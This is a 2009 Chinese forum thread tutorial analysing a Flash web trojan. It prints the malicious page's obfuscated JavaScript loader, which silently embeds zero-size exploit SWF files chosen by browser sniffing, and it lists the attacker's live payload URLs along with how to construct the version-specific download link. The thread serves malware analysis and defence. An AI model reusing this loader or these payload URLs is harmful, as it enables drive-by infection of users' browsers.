12   1  /  2  页   跳转

[教程] 再谈flash网马解密(二)

再谈flash网马解密(二)

flash网马地址:http://vpsvip.com/aa/vcfl.htm,使用freshow获取的源代码如下:

<script>
document.writeln("<script>function init(){window.status=\"\";}window.onload = init;");
document.writeln("window.onerror=function(){return true;}");
document.writeln("");
document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"ms"+"ie\")>0)");
document.writeln("{");
document.writeln("document.write(\'<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=4,0,19,0\" width=\"0\" height=\"0\" align=\"middle\">\');");
document.writeln("document.write(\'<param name=\"allowScriptAccess\" value=\"sameDomain\"\/>\');");
document.writeln("document.write(\'<param name=\"movie\" value=\"1111111111.swf\"\/>\');");
document.writeln("document.write(\'<param name=\"quality\" value=\"high\"\/>\');");
document.writeln("document.write(\'<param name=\"bgcolor\" value=\"#ffffff\"\/>\');");
document.writeln("document.write(\'<embed src=\"1111111111.swf\"\/>\');");
document.writeln("document.write(\'<\/object>\');");
document.writeln("}");
document.writeln("else{document.write(\'<EMBED src=\"2222222222.swf\" width=0 height=0>\');}");
document.writeln("<\/script>")
</script>


用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
分享到:
gototop
 

回复: 再谈flash网马解密(二)

我们先来简单分析一下这段代码,主要是下面两段代码:

 
document.writeln("document.write(\'<embed src=\"1111111111.swf\"\/>\');");

document.writeln("else{document.write(\'<EMBED src=\"2222222222.swf\" width=0 height=0>\');}");

实际上这个源代码中包含有两个swf文件,其下载地址分别为:http://vpsvip.com/aa/1111111111.swf,http://vpsvip.com/aa/2222222222.swf。

使用下载工具将swf下载(以1111111111.swf为例),使用记事本方式打开,其源文件内容如下:

gototop
 

回复: 再谈flash网马解密(二)

我们着重来看红色框内容:flashVersion /:$version i1007.asp?ytytyt= _root ?,这段代码是否很熟悉,在我们讲解的一个迷惑人的flash网马一文中,讲到过类似内容。在这里我就不在详细讲解,具体可参看一个迷惑人的flash网马一文中,6楼小聪版主讲解的关于Flashver正确形式内容。


  我们参照该文中Flashver形式,实际上真正的swf网马下载地址如下:http://vpsvip.com/aa/i1007.asp?ytytyt=WIN%209,0,28,0
或http://vpsvip.com/aa/i1007.asp?ytytyt=WIN%209,0,16,0其余版本都可以,这里就不依次写出。


按照这个地址我们使用下载工具,下载到一个i1007.swf文件,也有可能为i1007.asp,将asp改为swf即可。

最后编辑networkedition 最后编辑于 2009-07-01 10:15:11
gototop
 

回复: 再谈flash网马解密(二)

使用redoce的A>PDF/CWS/Zlib Extractor,进行swf解密,具体操作方法可参看教程:网马解密工具redoce视频之——swf篇 一文。

最终解密结果见下图:




2222222222.swf这个swf网马就不讲解了,感兴趣的可参考本篇教程,自行尝试解密,方法都一样。
最后编辑networkedition 最后编辑于 2009-07-01 10:17:12
gototop
 

回复:再谈flash网马解密(二)

这种木马是怎么生效的 ?
gototop
 

回复:再谈flash网马解密(二)

后排坚持听讲
0.电脑安防交流群:79272952
1.下载windows清理助手,升级后清理系统。
  地址:http://download.arswp.com/arswp3/x86/arswp3_x86.zip
2.下载SREng,地址:http://download.kztechs.com/files/sreng2.zip
3.解压后运行SREngLdr.exe---智能扫描---扫描---保存报告。
4.将SREng.log日志文件压缩后上传。。
gototop
 

回复:再谈flash网马解密(二)

我解压程序后也有乱码,为什么会出现乱码啊
gototop
 

回复:再谈flash网马解密(二)

乱码是应为 swf文件用TXT格式打开
gototop
 

回复:再谈flash网马解密(二)

http://vpsvip.com/aa/i1007.asp?ytytyt=WIN%209,0,28,0
或http://vpsvip.com/aa/i1007.asp?ytytyt=WIN%209,0,16,0
后面的WIN%209,0,16,0,WIN%209,0,28,0这两个是怎么得出来的
最后编辑networkedition 最后编辑于 2009-08-11 10:19:24
gototop
 

回复: 再谈flash网马解密(二)

具体可参看一个迷惑人的flash网马一文中,6楼小聪版主讲解的关于Flashver正确形式内容。
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT